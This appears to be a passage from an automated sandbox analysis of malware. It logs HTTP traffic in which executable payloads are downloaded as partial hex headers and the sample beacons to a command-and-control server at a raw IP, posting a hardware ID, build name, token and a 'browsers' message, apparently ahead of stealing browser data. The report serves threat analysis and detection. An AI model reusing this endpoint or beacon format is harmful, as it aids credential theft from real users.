00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 11:13:22 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 11:13:24 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 11:13:25 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 11:13:26 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 11:13:28 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 11:13:29 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHCBKKFIJJJECAAFCGIHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 46 30 38 38 36 46 31 34 37 34 35 32 35 33 37 30 33 36 34 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 2d 2d 0d 0a Data Ascii: ------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="hwid"E7F0886F1474525370364------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="build"puma------CFHCBKKFIJJJECAAFCGI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIDBKFCAAEBFIDHDBAEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 2d 2d 0d 0a Data Ascii: ------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; 